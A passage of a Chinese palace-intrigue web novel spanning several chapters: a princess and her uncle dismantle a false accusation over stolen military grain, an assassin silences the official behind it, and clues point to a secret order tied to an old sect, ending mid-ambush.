“谢朗与外室往来的书信中,有三封涉及军粮案。其中一封,谢朗让外室转告周猛:‘事成之后,保他升任正三品将军,另赠京郊良田千亩。’”
姜稚闻言,心中一松:“书信现在何处?”
“已经抄录,原件由山影卫秘密保管。”姜肃道,“但不到万不得已,不能轻易拿出来。私闯民宅取证,终究不合规矩。若被谢家反咬一口,反而被动。”
姜稚点头。
确实,这些证据只能作为底牌,必须要在关键时刻才能亮出!
第103章 是谁动了军粮?
凯旋队伍行至宫门前。
姜寒川翻身下马,单膝跪地:“臣姜寒川,奉旨北征,幸不辱命!今携匈奴左贤王以下贵族二十七人、缴获战马三千匹、金银器物五车,凯旋归朝!”
宫门大开,皇帝姜桓在众臣簇拥下缓步而出。
此等大日子,就连闭门思过,称病不出的谢太师跟王珣等人,也都到场。
“寒川平身。”皇帝亲自上前,扶起姜寒川,仔细打量这个名义上的儿子。
“北疆这一仗,打得漂亮!”
“谢陛下!”姜寒川起身,从怀中取出一卷羊皮地图。
“臣此次北征,深入漠北八百里,探明匈奴王庭新址及各部分布。此地图乃臣亲手绘制,愿献与陛下,以备日后征伐之用。”
“好!好!”皇帝大喜,接过地图,“有此图在,我大晟北疆可保二十年太平!寒川,你想要什么赏赐,尽管说!”
姜寒川正要开口,忽听一个声音响起:“陛下,臣有本奏!”
众人循声望去,只见兵部尚书孙元培出列跪倒,神色凝重。
皇帝眉头微皱:“孙爱卿,今日是凯旋大典,有何事不能明日再奏?”
“陛下,此事关乎国本,臣不敢拖延!”孙元培重重叩首,“臣要**十三皇子姜寒川,监守自盗,**军粮三万石!证据确凿,请陛下明察!”
此言一出,全场哗然。
皇帝脸色顿时沉了下来:“孙元培,你知道你在说什么吗?”
“臣知道!”孙元培抬头,眼神坚定。
“军粮案发生已半月有余,三万石军粮不翼而飞,北疆将士是在饿着肚子守关。”
“而十三皇子身为龙渊军统帅,不仅不追查真相,反而隐瞒不报,直到臣派人调查才勉强承认!”
“此等行径,与监守自盗何异?”
“孙尚书此言差矣!”姜肃立刻出列反驳。
“军粮案发生后,寒川第一时间便派人追查,并上书陛下说明情况,何来‘隐瞒不报’之说?倒是孙尚书,此案尚未查清,你便当众**有功之臣,是何居心?”
“雍王殿下此言,是怀疑臣诬陷忠良?”孙元培冷笑,“臣若无真凭实据,岂敢在凯旋大典上发难?证人就在宫外,陛下可宣他上殿,当面对质!”
皇帝的目光在姜寒川和孙元培之间来回扫视,良久,缓缓开口:“宣证人。”
“宣证人刘大勇上前问话!”赵德全在一旁高声唱喏。
很快,一个身穿军服、面色蜡黄的中年汉子被带上殿来。
他跪倒在地,浑身发抖:“末、末将刘大勇,叩见陛下。”
“刘大勇,”皇帝沉声问,“你是北疆军粮押运官?”
“是…”
“三万石军粮被劫那日,你在何处?看到了什么?”
刘大勇低着头,声音发颤:“那日末将押运粮队行至黑风峡,忽遇一队黑衣人袭击。”
“他们人很多,目测至少有五百人,而且都是高手。末将拼死抵抗,但寡不敌众,导致粮车被劫。”
“说重点!”孙元培喝道,“那队黑衣人,是什么来路?”
刘大勇浑身一颤,猛地抬头看了姜寒川一眼,又迅速低下头,声音几乎细不可闻:
“他们、他们领头的人,穿的是龙渊军的制式铠甲!”
“什么?!”两侧群臣震惊。
“你再说一遍!”皇帝厉声质问。
刘大勇趴在地上,磕头如捣蒜:
“陛下明鉴!末将不敢撒谎!那领头之人确实穿着龙渊军的铠甲,而且他出示了龙渊军的令牌,说是奉将军之命,来‘转移’军粮…”
“荒唐!”姜寒川厉声道,“我从未下过这样的命令!刘大勇,你受何人指使,在此诬陷我?!”
“末将没有诬陷!”刘大勇忽然抬起头,眼中含泪。
“将军,您不能这样啊!那日您明明让周副将传话,说这批粮要‘另作他用’,让末将配合。末将只是按令行事,谁知道…谁知道会是**啊!”
“周副将?”姜寒川眼神一寒,“刘大勇,你说的是周猛,周副将传我命令?”
“是、是的…”
“传周猛!”皇帝冷声道。
不多时,一个身材魁梧、满脸络腮胡的将领被带上殿来。
他正是龙渊军副将周猛。
“周猛,”皇帝盯着他,“刘大勇说,是你传寒川的命令,让他配合‘转移’军粮。可有此事?”
周猛跪地,一脸茫然:“陛下,末将从未传过这样的命令啊!军粮被劫那日,末将正在云州城巡视防务,有守城官兵为证!”
随后,他目光灼灼地盯着几乎是趴在地上的刘大勇,“刘大勇,你为何要诬陷我!”
“我没有诬陷
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!”刘大勇急道,“那日明明是你亲自来找我,说将军有令,这批粮要秘密运往…”
“运往何处?”孙元培追问。
刘大勇张了张嘴,忽然面露痛苦之色:“我不能说。说了我家人就没命了。”
“大胆!”孙元培喝道,“在陛下面前,还敢隐瞒?!”
“陛下!”刘大勇猛地磕头,“末将不敢隐瞒!只是此事牵扯太大,末将不敢说啊!”
这欲言又止的模样,反而更让人怀疑。
殿上气氛凝重到了极点。
所有人的目光都集中在姜寒川身上。
有怀疑,有担忧,有幸灾乐祸…
姜稚在观礼台上看得清楚,心中冷笑出声。
【呵!好一出双簧戏!刘大勇扮可怜,周猛装无辜,把脏水全泼到十三皇叔身上。】
【接下来,只要这孙元培再一逼问,刘大勇就会顺势‘被迫’说出军粮运往何处。】
【只要他们咬死这一说法,就可以一箭双雕,打击了十三皇叔的同时,又牵连了我们雍王府。】
【他们咬死事情的真实性,又找到了参与者,看来只能在时间线上找找漏洞了。】
这心声清晰传入姜肃和姜寒川耳中。
姜肃眼中寒光一闪,正要开口,却听姜寒川抢先了一步。
“陛下,”姜寒川上前一步,声音平静,“既然刘大勇说是我指使,周猛说他没有传令,两人各执一词,不如让臣问几个问题。”
皇帝深深看了姜寒川一眼:“准。”
姜寒川走到刘大勇面前,居高临下地看着他:
“刘大勇,你说周副将传我命令,让你配合转移军粮。”
“是!”刘大勇坚定地回答。
“那周副将传令时,是何时?何地?当时还有谁在场?”
“是、是腊月二十三,傍晚,在粮仓外的树林里。”刘大勇眼神闪烁,“当时就我们两人。”
“腊月二十三傍晚?你没记错吧?”姜寒川询问道。
刘大勇沉思了片刻,最后坚定地点点头:“没错!就是这天!”
“可那日,我正在漠北王庭外围侦查,距离云州城八百里。军中有行军记录为证。周副将若真传我命令,难道他能日行八百里?”
说话间,姜寒川猛地逼近刘大勇,眼中满是质问。
刘大勇的脸色,顿时变得煞白。
第104章 古籍呈堂,把伪证撕成渣
宫门前的审讯还在继续,眼见审讯内容涉及私密,在赵德全的示意下,御前侍卫将周遭的百姓远远隔离开来。
刘大勇听到姜寒川说起腊月二十三那日,他本人根本不可能下达命令,马上改变口供,“兴许是我记错了,应该还二十五日那晚才对!”
“可你刚刚还信誓旦旦地说过,是腊月二十三日没错!怎的才喘口气的功夫,就变了日期?”姜寒川冷笑出声。
周围大臣也是议论纷纷,对刘大勇的口供产生了怀疑。
“还有,”姜寒川继续道,“你说那队劫粮的黑衣人,领头者是身穿龙渊军铠甲,还出示龙渊军令牌。那你可还记得,那令牌是什么材质?上面刻的编号是多少?”
“是…是铜制令牌,编号好像是…甲字十七号!”
“甲字十七号?”姜寒川转身,从怀中取出一本名册,“陛下,龙渊军所有令牌皆有登记。甲字十七号令牌的持有者,是前锋营校尉李成。”
“而李成本人,在腊月十五与匈奴交战中已经阵亡,其令牌已随遗体下葬。此事有军中记录和同袍为证。”
随后姜寒川再次看向刘大勇:“刘校尉,一个已经下葬的人,是如何拿着令牌去劫粮的?难不成,是鬼魂作祟?”
殿中响起此起彼伏的交谈声。
刘大勇冷汗涔涔,说不出话来。
“陛下,”姜寒川单膝跪地,“臣虽不知刘大勇为何要诬陷臣,但军粮被劫确是事实。”
“但臣早已查明,劫粮者是一伙伪装成军人的马贼。他们的老巢在黑风峡深处,臣回京前已派兵剿灭,同时缴获部分赃粮!”
“这是缴获清单和贼首口供,请陛下过目。”
姜寒川从怀中取出两份文书,双手呈上。
赵德全接过,奉与皇帝。
皇帝快速浏览,看到后面,脸色却越来越难看,随即交给臣下传阅。
口供中,贼首承认是受一个“京城来的大人物”指使,报酬是五千两白银。
“刘大勇,”皇帝冷声道,“你还有何话说?”
刘大勇见状,彻底瘫软在地,面如死灰。
“陛下,”孙元培忽然开口,“即便劫粮者是马贼,但三万石军粮被劫,十三皇子身为统帅,仍有失察之责!”
“且贼首供出的‘京城大人物’尚未查明,难保不是有人内外勾结。”
“孙尚书此言,是指本将军勾结马贼,劫自己的军粮?”姜寒川看向孙元培,眼神如刀。
“本将军在北疆出生入死,为的是保境安民。若真贪图钱财,匈奴王庭的金银珠宝不比几车粮食值钱?何须做这等蠢事?!”
这话说得在理。殿中不少大臣点头。
孙元培一时语塞。
就在这时,一直沉默的谢太师忽然开口:
“陛下,老臣以为,此事尚有疑点。刘大勇虽言辞有漏洞,但军粮被劫是真。十三皇子虽剿灭马贼,但主谋未获。不如…”
“不如怎样?”姜肃出声打断谢太师的话,“太师是想说,不如先停了寒川的封赏,等查清再说?”
谢太师被说中心思,也不恼,只淡淡道:“老臣是为国事考虑。”
“好一个为国事考虑!”姜肃冷笑,“北疆将士浴血奋战,立下不世之功,凯旋之日却被当众质疑。太师此举,就不怕寒了将士们的心?”
“雍王此言差矣。”谢太师缓缓道,“功是功,过是过。有功当赏,有过当罚。若因有功便纵容其过,岂是治国之道?”
两人针锋相对,殿上气氛再度紧张。
姜稚在观礼台上看着,知道该自己出场了。
她低声对身边的惊蛰说了几句。
惊蛰点头,悄然退下。
片刻后,惊蛰回到观礼台,冲姜稚微微颔首。
姜稚深吸一口气,整理了一下衣裙,缓步走下观礼台,朝宫门走去。
“站住!”守门侍卫拦住她,“公主,陛下正在议事,不得打扰。”
“本宫有要事禀报陛下。”姜稚声音平静,“关于军粮案,本宫有新的证据。”
侍卫犹豫了一下,还是进去通传。
很快,赵德全亲自出来:“公主,陛下宣您上前答话。”
姜稚走上来时,所有人的目光都聚焦在她身上。
一个十几岁的公主,此时出现在这里,实在突兀。
“稚儿,”皇帝对姜稚的求见也有些意外,“你说你有军粮案的新证据?可不要欺瞒皇祖父啊!”
“是。”姜稚跪地行礼,“孙儿昨夜
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翻阅古籍,偶然发现一桩旧案,与今日之事颇有相似之处。孙儿想讲给皇祖父听,或许能有所启发。”
皇帝来了兴趣:“哦?什么旧案?”
“前朝永昌年间,北疆也曾发生过军粮被劫案。”姜稚声音清晰,不疾不徐。
“当时镇守北疆的是大将军贺兰明。三万石军粮在押运途中被劫,押运官指认是贺兰明指使。贺兰明百口莫辩,被押解回京问罪。”
殿中安静下来,所有人都听着。
“但贺兰明之子贺兰年不信父亲会做这种事。他暗中调查,终于发现了一个破绽。”
“他发现了什么破绽?”皇帝的好奇心彻底被提了起来。
姜稚继续道,“那押运官供称,贺兰明传令时用的是‘虎符调令’。可前朝制度,调运军粮只需将军手令,根本用不到虎符。”
“贺兰年抓住这个破绽,继续追查,最终查出真相。原来那押运官早被敌国收买,故意丢失军粮,再诬陷主将,意图让北疆守将换人,好让敌国有机可乘。”
姜稚说到这儿,转头看向刘大勇。
“孙儿发现,今日之事与那旧案极为相似。”
“这位刘校尉称,劫粮者出示的是‘龙渊军令牌’。可据孙儿所知,龙渊军调运军粮,向来只用‘粮草调拨单’,单子上加盖将军印信即可,根本用不到令牌。”
一旁的姜寒川闻言,对姜稚在边疆事务上了解得如此透彻,眼中闪过一丝赞赏。
“刘校尉,”姜稚脸上满是不解地看向刘大勇,“你说劫粮者出示令牌,是当真看见了?还是有人教你这么说的?”
刘大勇浑身一颤。
“还有。”姜稚不等他回答,继续道。
“你说你拼死抵抗,寡不敌众。可我查看过兵部档案,你曾是北疆边军中有名的悍卒,曾以一人之力斩杀匈奴骑兵五人。”
“而那日劫粮,你身上却只有三处轻伤,且都在非要害部位。这,是不是太巧了?”
此话一出,殿上议论声起。
确实,若真拼命抵抗,怎么可能只受轻伤?
“我…我…”刘大勇彻底语无伦次起来。
原本大家就对刘大勇的供词半信半疑,现在也算是看清他的“真面目”。
第105章 棋子竟被当场“秒杀”
宫门前,刘大勇已经冷汗涔涔,而姜稚依旧在冷静地分析。
“皇祖父,”姜稚转向皇帝福身施礼,“孙儿还发现一事。”
“刘校尉的母亲上月‘病重’,请了一位‘神秘医者’诊治。这位医者妙手回春,虽治好病,但却分文未取。”
“经过查证,这位医者,竟然是谢朗谢大人府上的门客。”
说话间,姜稚转向谢朗微微福身,“谢大人高风亮节,真是吾辈学习的榜样啊!”
谢朗脸色大变:“公主慎言!臣根本不认识什么医者!”
“谢大人不必急着否认。”姜稚轻轻招手,早就候在一旁的惊蛰上前,双手奉上一张纸。
姜稚接过后向众人展示。
“这是那医者在药铺抓药的记录,上面有他的签名。而这签名,与谢大人府上一位姓李的门客笔迹一模一样。皇祖父可派人比对。”
赵德全接过纸张,皇帝只看了一眼,脸色便沉了下来。
“谢朗,”皇帝冷冷道,“你有何解释?”
“陛下,朗儿绝对不会做出此等事情!请陛下明察!”谢太师见火烧到自己儿子身上,连忙站出来替儿子分辨。
“陛下,臣冤枉!”谢朗也跪倒在地,“臣与刘大勇素不相识,为何要帮他母亲治病?”
“为何?”姜稚接话道,“自然是为了让他听话,好让他在关键时刻诬陷十三皇叔呀。”
“谢大人,你与周猛副将往来密切,答应事成之后保他升任正三品将军,赠京郊良田千亩。这些话,难道你都忘了?”
谢朗如遭雷击,难以置信地看着姜稚:“你…你怎么知道?”
话一出口,他就意识到说漏嘴了,待双手捂住嘴时,已然来不及了。
“谢朗!”皇帝勃然大怒,“你好大的胆子!”
“陛下!臣是一时糊涂!”谢朗连连磕头,“是有人逼臣这么做的!是…”
他话未说完,忽听两边人流中传来一声惨叫,随即只听有**喊:
“有刺客!”
现场顿时大乱。
只见一个黑衣人影如鬼魅般窜入宫门前!
“保护陛下!”侍卫们蜂拥而上。
刺客武功极高,几个起落便冲到谢朗面前,一剑刺入谢朗心口!
“留活口!”姜寒川厉喝,飞身扑去。
但刺客一击得手,毫不犹豫地咬破口**囊,顷刻间七窍流血,气绝身亡。
这一切发生在电光火石之间,等众人反应过来,谢朗已倒在血泊中,刺客也成了尸体。
“太医!快传太医!”赵德全急呼。
“朗儿!”太师谢允看到自己的儿子躺在血泊中,当下也是气急攻心,晕倒在地。
太医匆匆上前,探查片刻,随即摇头:“陛下,小谢大人已经断气了。”
接着又去查看了一下晕死在一旁的谢太师,马上吩咐太监,七手八脚地将他抬到内殿去救治。
周围的朝臣,对于眼前惊人的变故面面相觑。
姜稚看着谢朗的尸体,心中寒意陡生。
【**灭口!好狠的手段!谢朗不过是枚棋子,他背后还有更大的人物。这一死,线索就断了。】
姜肃和姜寒川则是相互对视一眼,都看到了对方眼中的凝重。
“查!”皇帝铁青着脸,“给朕查清楚,这刺客是什么人!如何混入皇宫的!”
“陛下,”侍卫统领将在刺客身上找到的东西奉到御前,“是暗梅令牌,死者是暗梅死侍!”
又是暗梅令!
姜稚心中一凛。
这个神秘的**组织,到底是在为谁服务,竟然敢在御前行凶?
“陛下,”姜寒川沉声道,“暗梅令三番五次出现,必与朝中某股势力有关。臣请旨,彻查此组织!”
“准!”皇帝怒道,“朕倒要看看,是谁在朕的眼皮底下兴风作浪!”
一场凯旋大典,以这样的方式收场。
姜寒川的封赏暂时搁置,皇帝命他协助调查暗梅令和军粮案。
回府的马车上,姜稚沉默不语。
“稚儿,”姜肃看着她,“今日之事,你做得很好。若非你及时出面,寒川的处境会更艰难。”
“但谢朗**。”姜稚低声道,“我们拿到了他与周猛往来的书信,本想作为底牌,现在却没了用处。”
“未必。”姜肃眼中闪过精光,“谢朗虽死,但周猛还在。那些书信,依然可以作为证据。而且…”
他顿了顿:“谢朗临死
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前说,是有人逼他这么做。逼他的人,会是谁?”
谢太师?窦贵人?废太子?
他们几人都有可能,但又都缺少直接证据。
“爹爹,”姜稚忽然想起一事,“皇宫守卫森严,外人根本进不来。那个刺客能混入大典内,这皇宫中必定有内应!”
姜肃点头:“为父也想到了。此事,恐怕要请寒川暗中调查。”
马车抵达雍王府时,天色已近黄昏。
姜稚刚下车,便见一个熟悉的身影站在府门前。
玄甲黑袍,身姿挺拔,正是姜寒川。
“十三皇叔?”姜稚有些意外。
姜寒川走上前,目光落在她身上,冰冷的眼眸染上暖意:“我是来多谢你,今日宫门前谢你出言为我辩解。”
“皇叔客气了。”姜稚微微福身,“稚儿只是说了该说的话。”
“那些话,不是一个十岁孩子能想到的。”姜寒川的声音很轻。
“稚儿,你比我想象的,更聪明。”
姜稚心头一跳,抬眼看他。
四目相对,她看到姜寒川眼中有一丝探究,但更多的是某种她看不懂的情绪。
“进去说话吧。”姜肃打断了两人的对视,“站在门口不像样子。”
三人进入书房,屏退左右。
“寒川,你究竟为何而来?”姜肃不信姜寒川在门口的说辞,出声询问。
“来送这个。”见姜肃看穿,姜寒川也没有绕弯子。
他从怀中取出一枚令牌,放在桌上。
那是龙渊军的调兵虎符。
“陛下虽未明说,但军粮案未清,暗梅令未查,我的兵权暂时不能动。”姜寒川语气平静,“这虎符,就请肃王殿下代为保管。”
姜肃皱眉:“这不合规矩。”
“规矩是死的。”姜寒川伸手阻止姜肃的话。
“如今朝中暗流涌动,谢朗之死只是开始,我怀疑接下来还会有更大的动作。虎符放在我这里不安全,放在殿下这里,反而能出其不意。”
姜稚看着那枚虎符,心中震动。
【他竟然把这么重要的东西交给爹爹?这份信任实属难得!】
姜寒川听到这心声,唇角微扬,随即快速敛去唇角的笑意。
第106章 启蒙先生是北疆旧部?
书房内,姜寒川对姜稚起了逗弄的心思。
“有一事,我想请教一下稚儿。”他看向姜稚,“稚儿,你今日在殿上说的前朝旧案,是从哪本古籍看到的?”
姜稚早料到会有人询问她旧案出处,因此早早打好腹稿:“是《北疆志异》,一本杂书,皇祖父书库里找到的。”
“是吗?”姜寒川深深看了她一眼,“那本书,我也看过。里面确实记载了贺兰明案,但并没有‘虎符调令’这个细节。难道咱们看的不是同一本书吗?”
姜稚心中一紧。
糟了,难道这是要露馅了?
她正想着如何圆谎,却听姜寒川轻笑道:“不必紧张。每个人都有自己的秘密,我不多问。只是以后若再有这样的‘启发’,可以提前告诉我,皇叔我定会好好配合。”
这话说得意味深长。
姜稚抬头看着姜寒川,见他眼中并无怀疑,只有温和的笑意,心中稍安。
“皇叔不怪我自作主张就好。”
“怎么会怪你。”
说着,姜寒川从怀中取出一个小盒子。
“这是我从北疆为你带回来的礼物,本想找个合适的机会给你,没想到闹出这么多事。”
姜稚接过,打开一看,里面竟是一枚像石头的吊坠。
吊坠用红绳穿着,表面被打磨得光滑温润。
“这是何物?”姜稚看了半天,也没研究出来是什么材质。
“是漠北白狼的牙齿。”姜寒川道。
“北疆人相信,白狼是雪山的神使,它的牙齿能辟邪保平安。我猎了一头,取了最锋利的一颗,希望你往后都能平安顺遂。”
姜稚拿起吊坠,感受着姜寒川满满的心意,真诚道:“谢谢皇叔。”
“戴上吧。”姜寒川说。
姜稚将红绳套在颈上,狼牙坠在胸前,凉意透过衣料传来。
姜肃看着这一幕,眼神复杂,但最终没说什么。
“好了,我该走了。”姜寒川起身。
“虎符之事,就拜托肃王殿下了。暗梅令那边,我会继续查。若有进展,会及时通知。”
“你自己也要小心些。”姜肃叮嘱。
“放心。”姜寒川转身离去,身影很快消失在暮色中。
姜稚摸着胸前的狼牙吊坠,陷入沉思。
暗梅令,军粮案,谢朗之死…
这一切,似乎都指向某个更深的秘密。
而她,正一步步接近这个秘密的核心。
窗外,暮色四合,华灯初上。
京城看似平静的夜晚,暗处却不知有多少双眼睛在盯着雍王府,盯着她。
......
二月十九,谢朗暴毙的消息传遍京城,人心震动。
谢太师因长子之死悲痛过度,告病在家,谢家一系官员暂时沉寂。
但姜稚知道,这不过是暴风雨前的宁静。
听雨轩内,她正对着一叠字帖出神。
案上左侧是她近期的**字,右侧是惊蛰从藏书阁秘密借出的镇北王遗墨——
一本泛黄的《武经总要》批注手稿,据说是镇北王生前最后的手迹。
两相对比,相似之处令人心惊。
不仅是字形结构,连那种起笔时的顿挫、收笔时的回锋,乃至行笔间的气韵,都如出一辙。
“公主,”惊蛰轻声道,“徐学士那边传来消息,他说当年教您**字的启蒙字帖,确实是按镇北王手迹临摹的版本。”
姜稚抬头:“那为何之前无人发觉?”
“因为那本字帖是特制的。”惊蛰解释。
“镇北王的字迹本就流传不广,那本字帖又经过修描,去掉了最具个人特色的几处笔锋。所以寻常人看不出关联。”
“徐学士是书法大家,对各家笔法研究极深,所以那日在百花宴上,他一眼就看出您的笔意。”
“徐学士还说,镇北王的字有‘铁画银钩,剑意藏锋’的特质,这种特质极难模仿,除非…”
“除非什么?”姜稚迫不及待地追问。
惊蛰犹豫片刻:“除非是血脉相传,或者是得到过他亲自指点。”
姜稚心中一动。
她与镇北王绝无血缘关系,这是肯定的。
那么只剩下一种可能——
教授她**字方法的人,与镇北王肯定有着某种隐秘的关联。
“十三皇叔的字迹呢?”姜稚忽然想到什么,出声询问,“可有人说过像镇北王?”
“这…”惊蛰迟疑,“属下不知。但听说十三皇子幼时**字,都是镇北王亲手教导。按理说,他的字迹应该最像才是。”
姜稚沉思片刻:“去查查,当年教我的启蒙先生是谁请的,用的字帖又是从何而来。”
“是。”
惊蛰退下后,姜稚重新审视那两
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叠字迹,思绪深沉。
不知何时,姜寒川来到听竹轩外。
他站在月洞门外,看着书房内在那个纤细身影,眼中闪过复杂神色。
“十三殿下?”书房内的秋露先发现了他,连忙行礼。
姜稚闻声抬头,见姜寒川一身玄色常服站在门外,晨光勾勒出他挺拔的身影。
“皇叔怎么来了?”她连忙起身相迎。
“来看看你。”姜寒川步入书房,目光自然地扫过案上的字帖,“在练字?”
“嗯。”姜稚不着痕迹地将镇北王手稿往旁边挪了挪,“闲来无事,练练笔。”
姜寒川走到案前,拿起她刚写的“剑”字,仔细端详。
室内一时安静,只听得见窗外雀鸟鸣叫。
良久,姜寒川才开口:“这字很有筋骨。”
他的语气很平淡,但姜稚敏锐地察觉到一丝异样。
“皇叔谬赞了。”她垂眸,“稚儿的字还差得远。”
姜寒川放下那张纸,忽然问:“教你的启蒙先生,是不是姓周?”
姜稚一怔:“皇叔怎么知道?”
“猜的。”姜寒川在窗边的椅子上坐下。
“当年我父亲,也就是镇北王麾下,有位周参将。他文武双全,尤其写得一手好字。”
“后来他因伤退役,在京中开了一家私塾。京城中富家子弟多喜他给家中孩子启蒙,我听说雍王府也曾请过他教授子侄。”
姜稚心中恍然。
原来如此。
那位周先生既然是镇北王旧部,自然熟悉镇北王的字迹和教导方法。
他按照镇北王的方式教她**字,这才让她的字迹带上了“镇北王骨”。
但这解释,似乎太过巧合了。
“皇叔今日来,不只是为了说这个吧?”姜稚问。
姜寒川笑了笑,从袖中取出两样东西。
一个信号烟花,一张纸条。
“近来京城不安全,这个信号烟花你拿着,一旦有危险就马上拉响,我的人看见,就会马上过来护住你。”
“另外,昨夜有人往我住的驿站里射了一支箭,箭上绑着这个。”姜寒川将手中的东西递了过去。
姜稚接过东西,打开纸条,只见上面写着一行小字,内容让她心中一惊:
“字迹之谜,关乎二十年前秘辛。欲知真相,三日后戌时,城西土地庙一见。”
第107章 绣在丝帕上的覆灭预告
姜稚看着纸条上的内容。
那上面字迹工整,但显然是故意用左手写的,看不出特征。
“二十年前…”姜稚沉吟,“那时镇北王还在世。”
“不错。”姜寒川眼神转冷,“我查过,二十年前,父王曾奉命调查一桩宫廷旧案。具体是什么案子,卷宗已被销毁。但据说,那案子牵扯到数位皇子和世家。”
“难道与谢家有关?”
“不知道。”姜寒川摇头,“但我有种感觉,对方是冲着你来的。”
姜稚心头一跳:“何以见得?”
“这纸条是射在我的住处,但内容却提及‘字迹之谜’。”姜寒川分析。
“京城知道你在调查字迹的人不多,徐学士是一个,你父亲是一个,还有…”
他顿了顿:“还有可能是一直在暗中监视你的人。”
暗梅令!
这三个字同时浮现在两人心头。
“皇叔打算去吗?”姜稚问。
“去。”姜寒川斩钉截铁,“这是条线索,不能放过!”
他看着姜稚,语气染上严厉:“但你不能去。太危险。”
“可对方明显是想引我一起出面。”姜稚道,“若我不去,恐怕不会现身。”
“那也不行。”姜寒川语气坚决,“此事我来处理。你这几日待在府中,不要外出。我加派了人手在雍王府周围,暗梅令若敢来,定叫他们有来无回。”
姜稚看着眼前这个神色冷峻的男子,忽然又想起原著中他的结局,心中一凛。
【难道皇叔的结局,还有暗梅令的手笔吗?如此的话,我更不能让皇叔自己冒险!】
这心声清晰传入姜寒川耳中。
他端着茶杯的手微微一颤,茶水险些洒出。抬眸看向姜稚,却见少女神色平静,仿佛刚才那坚定的心念只是他的错觉。
但那份被人放在心上的关切着实让他心中一暖。
“皇叔,”姜稚忽然道,“您说暗梅令与镇北王有旧仇,到底是什么仇?”
姜寒川沉默片刻,缓缓道:“二十年前,父王曾奉旨剿灭一个江湖邪教,名叫‘红莲教’。那教派以丹药蛊惑人心,敛财无数,甚至渗透朝堂。”
“红莲教有一支秘密**队伍,代号‘暗梅’,个个武功高强,行事狠辣。”
“那时父王为了保护百姓,率军围剿,当时遭到顽强抵抗,战况惨烈。“
“所以,暗梅令就是那时结下的仇?”姜稚迅速抓住重点。
“是。”姜寒川点头。
“那一战,暗梅损失惨重,但父王麾下也折了不少精锐。据说暗梅令主发誓要报仇,但不久后父王就战死沙场,这事也就搁置了。”
“但没想到,二十年后暗梅令重现江湖,而且看起来,比以前更加隐秘难测。”
姜稚若有所思:“红莲教…我好像在哪本书里看到过。”
她走到书架前,仔细搜寻。
书架上的书都是她从各处搜集来的杂史野记,其中或许就有线索。
翻找片刻,她抽出一本泛黄的《江湖异闻录》,快速翻阅。
“找到了。”姜稚指着其中一页。
“红莲教,兴起于永昌末年,教主自称‘红莲尊者’,擅炼丹制药,信徒遍布三州。元嘉三年,镇北王姜烈奉旨剿灭,斩首三千余,余党四散…”
她继续往下看,忽然瞳孔一缩。
“怎么了?”姜寒川察觉异样。
姜稚指着书中一行小字:“红莲教覆灭后,其珍藏的《丹经秘要》下落不明。”
“传闻此**载了数种奇药配方,其中一种名‘牵机’,服之可令人产生幻觉,听从施药者指令…”
“牵机!”姜寒川猛地站起,“云州关守军被下药,会不会就是这种‘牵机’?”
“极有可能。”姜稚合上书,“若暗梅令手中真有《丹经秘要》,那他们能用药物控制人,也就不奇怪了。”
两人对视一眼,都看到了对方眼中的凝重。
暗梅令不仅是一个**组织,还掌握着操控人心的药物,一旦他们继续用药物作乱,后果不堪设想。
“必须尽快查清。”姜寒川沉声道,“我这就去安排。”
“皇叔小心。”姜稚叮嘱。
姜寒川走到门口,忽然回头:“稚儿,你也要小心。”
“嗯。”
目送姜寒川离去,姜稚重新坐回案前,脑中却还在回忆几个关键词:
红莲教、暗梅令、牵机…
这些看似散乱的线索,究竟如何串联?
正思索间,惊蛰匆匆进来,神色凝重:“公主,出事了。”
“何事?”
“冷宫那边,窦贵人昨夜悬梁自尽了。”
姜稚手中笔一顿:“**?”
“被发现时已经断气。”惊蛰低声道,“但奴婢觉得蹊跷。咱们的人一直盯着冷宫,昨夜并未发现异常。而且窦贵人死
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前,曾见过一个人。”
“谁?”
“宗人府的一个老太监,姓冯,专门负责给废太子送饭。”惊蛰道,“他昨日申时进入冷宫,待了约莫一刻钟。戌时离开。今晨窦贵人的尸体就被发现了。”
“冯太监现在何处?”
“失踪了。”惊蛰咬牙,“宗人府那边说,他昨夜告假出宫,至今未归。”
线索又断了!
姜稚闭了闭眼,本想放长线钓大鱼。如今窦贵人一死,她与废太子、谢家勾结的线索就彻底没了。
但那个冯太监…
“查那个太监的底细。”姜稚睁开眼,眼神锐利,“还有,窦贵人死后,冷宫可有人进出?她可留下什么东西?”
“有。”惊蛰从怀中取出一方丝帕,“这是从窦贵人枕下找到的,藏得很隐秘。上面绣了几行字,但奴婢看不懂。”
姜稚接过丝帕。
白色锦缎上,用深紫色丝线绣着几行小字:
“明月照沟渠,残荷听雨声。东风不解意,吹落旧时盟。
金戈埋尘处,玉碎有谁怜。待到红莲开,血洗九重天。”
字迹工整,但内容却透着一股阴冷之气。
“这应该是一首暗号诗。”姜稚仔细端详。
“我本将心向明月,奈何明月照沟渠。所以这‘明月照沟渠’应是埋怨之意。‘残荷听雨声’,荷残代表衰败,雨声又有凄冷的意思。”
“‘东风不解意’,这东风,通常喻指君王恩泽,这里说‘不解意’,是在抱怨皇祖父不懂她的心。
“‘吹落旧时盟’,这个旧盟说不定是指她跟太子之间的私情。”
惊蛰听得心惊:“那后面几句…”
“‘金戈埋尘处’,金戈指兵器,暗指战争。而‘玉碎有谁怜’中的玉碎可以是说宁为玉碎不为瓦全。”
姜稚皱眉,“这样看下来,最后两句最危险。‘待到红莲开,血洗九重天’。红莲,说不定指的是红莲教。而九重天,指皇宫!”
姜稚惊愕抬头看向惊蛰:“窦贵人难道是在暗示,红莲教余孽要血洗皇宫!”
“她为何要留下这个?”惊蛰不解,“她若真与红莲教勾结,为何要示警?”
“也许,她并非心甘情愿。”姜稚沉吟,“或许是被胁迫,也或许是在最后关头醒悟了。这方丝帕,说不定是她留下的警告。”
正说着,窗外忽然传来一声轻微的异响。
第108章 皇叔受伤,心急如焚
“谁?!”惊蛰厉喝,瞬间拔出短剑护在姜稚身前。
窗外无人应答,但惊蛰却敏锐地察觉到一股杀气。
“公主退后。”惊蛰低声道,而姜稚则悄然摸向袖中姜寒川留给她的信号烟花。
就在这时,三道黑影如鬼魅般破窗而入!
他们身着夜行衣,脸戴青铜面具,面具额心处刻着一朵小小的梅花,那正是暗梅令的标志!
“公主快走!”惊蛰挥剑迎上,与为首的黑衣人战在一处。
另外两个黑衣人见同伴与女侍卫纠缠在一起,迅速扑向姜稚。
姜稚不退反进,抓起案上的砚台狠狠砸向一人,同时袖中信号烟花拉响。
“砰!”
烟花冲天而起,在空中炸开一朵红色焰火。
那两名黑衣人见状,攻势更急。
其中一人手中长剑如毒蛇吐信,直刺姜稚心口!
